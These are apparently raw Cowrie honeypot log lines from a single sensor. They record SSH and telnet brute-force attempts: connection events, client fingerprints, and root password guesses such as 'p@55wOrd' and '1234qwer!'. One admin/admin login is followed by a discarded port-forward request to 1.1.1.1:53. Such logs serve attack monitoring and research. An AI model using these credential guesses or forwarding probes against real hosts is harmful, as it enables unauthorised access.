{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:35.067271Z","src_ip":"43.153.22.143","session":"8c16aadc4160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3com","message":"login attempt [root/3com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:35.374047Z","src_ip":"43.153.22.143","session":"8c16aadc4160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:35.534082Z","src_ip":"62.193.106.227","session":"8d2e76ca5b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:36.009366Z","src_ip":"103.27.238.114","session":"82a2183457c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:36.445364Z","src_ip":"43.153.22.143","session":"8c16aadc4160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48582,"dst_ip":"10.17.0.5","dst_port":22,"session":"39befef9744d","protocol":"ssh","message":"New connection: 193.32.162.145:48582 (10.17.0.5:22) [session: 39befef9744d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:38.026395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:38.031116Z","src_ip":"193.32.162.145","session":"39befef9744d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:38.132669Z","src_ip":"193.32.162.145","session":"39befef9744d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iproyal","message":"login attempt [root/iproyal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:38.542933Z","src_ip":"193.32.162.145","session":"39befef9744d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:39.650316Z","src_ip":"193.32.162.145","session":"39befef9744d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.20926332473755,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:40.477958Z","src_ip":"152.42.224.71","session":"23b1a855aef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45452,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fbd077c3a3d","protocol":"ssh","message":"New connection: 77.94.47.83:45452 (10.17.0.5:22) [session: 4fbd077c3a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:57.752960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:57.757795Z","src_ip":"77.94.47.83","session":"4fbd077c3a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:57.882751Z","src_ip":"77.94.47.83","session":"4fbd077c3a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agyn5yl79s","message":"login attempt [root/agyn5yl79s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:58.257482Z","src_ip":"77.94.47.83","session":"4fbd077c3a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53192,"dst_ip":"10.17.0.5","dst_port":22,"session":"f045a40e089e","protocol":"ssh","message":"New connection: 103.77.242.62:53192 (10.17.0.5:22) [session: f045a40e089e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:59.119421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:59.123882Z","src_ip":"103.77.242.62","session":"f045a40e089e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:59.359240Z","src_ip":"103.77.242.62","session":"f045a40e089e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:51:59.384237Z","src_ip":"77.94.47.83","session":"4fbd077c3a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tornado","message":"login attempt [root/tornado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:00.065644Z","src_ip":"103.77.242.62","session":"f045a40e089e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35456,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a973c0a124c","protocol":"telnet","message":"New connection: 152.42.224.71:35456 (10.17.0.5:23) [session: 6a973c0a124c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:00.502323Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:01.303593Z","src_ip":"103.77.242.62","session":"f045a40e089e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7834,"dst_ip":"10.17.0.5","dst_port":22,"session":"66a39e8b28e0","protocol":"ssh","message":"New connection: 87.251.64.176:7834 (10.17.0.5:22) [session: 66a39e8b28e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:02.221287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:02.227284Z","src_ip":"87.251.64.176","session":"66a39e8b28e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:02.323535Z","src_ip":"87.251.64.176","session":"66a39e8b28e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:02.614555Z","src_ip":"87.251.64.176","session":"66a39e8b28e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:02.713586Z","session":"66a39e8b28e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:02.812692Z","src_ip":"87.251.64.176","session":"66a39e8b28e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:02.914399Z","src_ip":"87.251.64.176","session":"66a39e8b28e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":42214,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad9c7db164c3","protocol":"ssh","message":"New connection: 43.128.111.187:42214 (159.203.135.109:22) [session: ad9c7db164c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:05.332199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:05.337249Z","src_ip":"43.128.111.187","session":"ad9c7db164c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:05.566581Z","src_ip":"43.128.111.187","session":"ad9c7db164c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":47294,"dst_ip":"159.203.135.109","dst_port":22,"session":"974a41fad543","protocol":"ssh","message":"New connection: 59.17.95.129:47294 (159.203.135.109:22) [session: 974a41fad543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:06.507255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:06.511662Z","src_ip":"59.17.95.129","session":"974a41fad543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55wOrd","message":"login attempt [root/p@55wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:06.516807Z","src_ip":"43.128.111.187","session":"ad9c7db164c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:06.713494Z","src_ip":"59.17.95.129","session":"974a41fad543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!","message":"login attempt [root/1234qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:07.551849Z","src_ip":"59.17.95.129","session":"974a41fad543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:07.747218Z","src_ip":"43.128.111.187","session":"ad9c7db164c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:08.756498Z","src_ip":"59.17.95.129","session":"974a41fad543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":57118,"dst_ip":"159.203.135.109","dst_port":22,"session":"363ec3d3c612","protocol":"ssh","message":"New connection: 43.159.169.93:57118 (159.203.135.109:22) [session: 363ec3d3c612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:17.696230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:17.705931Z","src_ip":"43.159.169.93","session":"363ec3d3c612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:17.774132Z","src_ip":"43.159.169.93","session":"363ec3d3c612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0rd","message":"login attempt [root/P@SSW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:18.078797Z","src_ip":"43.159.169.93","session":"363ec3d3c612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:52:19.150168Z","src_ip":"43.159.169.93","session":"363ec3d3c612","protocol":"ssh"}
